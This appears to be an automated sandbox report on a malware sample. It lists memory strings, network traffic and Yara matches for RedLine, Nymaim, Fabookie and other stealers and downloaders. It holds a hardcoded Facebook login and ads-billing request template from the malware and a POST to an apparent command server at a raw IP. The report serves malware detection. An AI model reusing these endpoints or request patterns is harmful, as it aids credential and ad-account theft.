Source: fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: .vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://*.weborama-tech.ru hQ equals www.youtube.com (Youtube)
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.facebook.com (Facebook)
Source: fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.twitter.com (Twitter)
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.youtube.com (Youtube)
Source: fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.facebook.com (Facebook)
Source: fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.twitter.com (Twitter)
Source: fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp equals www.youtube.com (Youtube)
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp7 equals www.facebook.com (Facebook)
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp7 equals www.twitter.com (Twitter)
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://r.mradx.net https://ton.twimg.com https://tagmanager.google.com https://platform.twitter.com https://*.googleapis.com 'self' 'unsafe-inline';report-uri /csp7 equals www.youtube.com (Youtube)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.780203165.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.391475629.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/"country_code": "CV. equals www.facebook.com (Facebook)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.443928650.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.439043054.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/:/# equals www.facebook.com (Facebook)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.381596752.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/Local equals www.facebook.com (Facebook)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.462501582.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.470145014.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/YVdRaU9qSTJ equals www.facebook.com (Facebook)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.470145014.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/e": "C equals www.facebook.com (Facebook)
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: zw.hhiuew33.com/http://wwmtmymummooooebook.com/https://www.facPOSTGET/device-based/loginContent-Type: application/x-www-form-urlencodedookfacebacebook.comhttps://www.fOrigin: " Not A; Brand";v="99", "Google Chrome";v="104"sec-ch-ua: "Chromium";v="104", ,application/signed-exchange;v=b3;q=0.9,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Accept: text/html,application/xhtml+xmlq=0.1,bn;q=0.1,eu;q=0.1q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;n: keep-aliveConnectiologin/device-based/logink.comw.facebooHost: wwContent-Length: sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document/adsmanager/creation?act=/ads/manager/account_settings/account_billingbusiness.facebook.comsiness.fHost: buok.comceboHost: www.faviewport-width: 1920Sec-Fetch-Site: noneapi/graphql/?lll=pppX-FB-Friendly-Name: BillingAMNexusRootQueryAccept: /Sec-Fetch-Mode: corsSec-Fetch-Dest: empty/api/graphql/X-FB-Friendly-Name: BillingTransactionTableQuery/manage/campaigns/v13.0/omcebook.cHost: graph.faContent-type: application/x-www-form-urlencodedSec-Fetch-Site: same-sitek.com/ebooReferer: https://www.facSendingGh8eu4i proxyPj9k4eh credentialsMn7j4eSendingGfe5g requestRgreh4e407_khfa4i TheGhehg4g proxyIje4hg requiresDge4gj89 authenticationQerhj4ghBreakHghel3g forPe4jjhg multipleTje7i4hg 407_uh7a4r responseP5orjtegerror_selfError (WinHttpSetOption)Error (WinHttpAddRequestHeaders)vector<bool> too longalnumalnumalphaalphablankblankcntrlcntrlddigitdigitgraphgraphlowerlowerprintprintpunctpunctspacespacessupperupperwwxdigitxdigitSYSTEM_MALLOCTHREADSAFE=1SQLITE_nowlocal time unavailablelocaltimeunixepochutcweekday start of monthyeardayhourminutesecond%04d-%02d-%02d %02d:%02d:%02d%02d:%02d:%02d%04d-%02d-%02d%02d%06.3f%03d%.16g%lld%04djuliandaydatedatetimestrftimecurrent_timecurrent_timestampcurrent_date%NaN-Inf+InfInfNULL(NULL).922337203685477580?FunctionSavepointAutoCommitTransactionSorterNextPrevIfOpenNextIfOpenPrevNextAggStepCheckpointJournalModeVacuumVFilterVUpdateGotoGosubReturnNotInitCoroutineEndCoroutineYieldHaltIfNullHaltIntegerInt64StringNullSoftNullBlobVariableMoveCopySCopyResultRowCollSeqAddImmMustBeIntRealAffinityCastPermutationCompareJumpOnceIfIfNotColumnAffinityMakeRecordCountReadCookieSetCookieReopenIdxOpenReadOpenWriteOpenAutoindexOpenEphemeralSorterOpenSequenceTestOpenPseudoCloseSeekLTSeekLESeekGESeekGTSeekNoConflictNotFoundFoundNotExistsOrAndSequenceNewRowidInsertIsNullNotNullNeEqGtLeLtGeInsertIntBitAndBitOrShiftLeftShiftRightAddSubtractMultiplyDivideRemainderConcatDeleteBitNotString8ResetCountSorterCompareSorterDataRowKeyRowDataRowidNullRowLastSorterSortSortRewindSorterInsertIdxInsertIdxDeleteIdxRowidIdxLEIdxGTIdxLTIdxGEDestroyClearResetSorterCreateIndexCreateTableParseSchemaLoadAnalysisDropTableDropIndexDropTriggerIntegrityCkRowSetAddRowSetReadRowSetTestPro

Source: unknown

HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 133Host: 116.203.105.117

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.103.219.221:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.230:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.6:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.6:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.93:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.93:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.36:443 -> 192.168.2.6:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.6:49831 version: TLS 1.2

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 35.2.ccsearcher.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.ccsearcher.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.ccsearcher.exe.3530000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.ccsearcher.exe.3530000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.505991402.0000000000400000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.513194138.0000000003530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.fJe9em23BB.exe.51bd580.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Fabookie / ElysiumStealer Author: ditekSHen
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 40.2.svchost.exe.1455df70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 40.2.svchost.exe.1455df70000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 39.0.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.0.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 16.0.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.fJe9em23BB.exe.51bd580.24.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 0.3.fJe9em23BB.exe.5171640.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 16.2.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 39.2.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.2.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 40.2.svchost.exe.1455df70000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 40.2.svchost.exe.1455df70000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.2.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.2.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.0.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.0.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Fabookie / ElysiumStealer Author: ditekSHen
Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Chebka Author: ditekSHen
Source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Chebka Author: ditekSHen
Source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Chebka Author: ditekSHen
Source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen

Yara detected ManusCrypt

Source: Yara match	File source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.svchost.exe.1455df70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.svchost.exe.1455df70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

PE file contains section with special chars

Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: installer[1].exe.0.dr	Static PE information: section name:
Source: installer[1].exe.0.dr	Static PE information: section name:
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: section name:
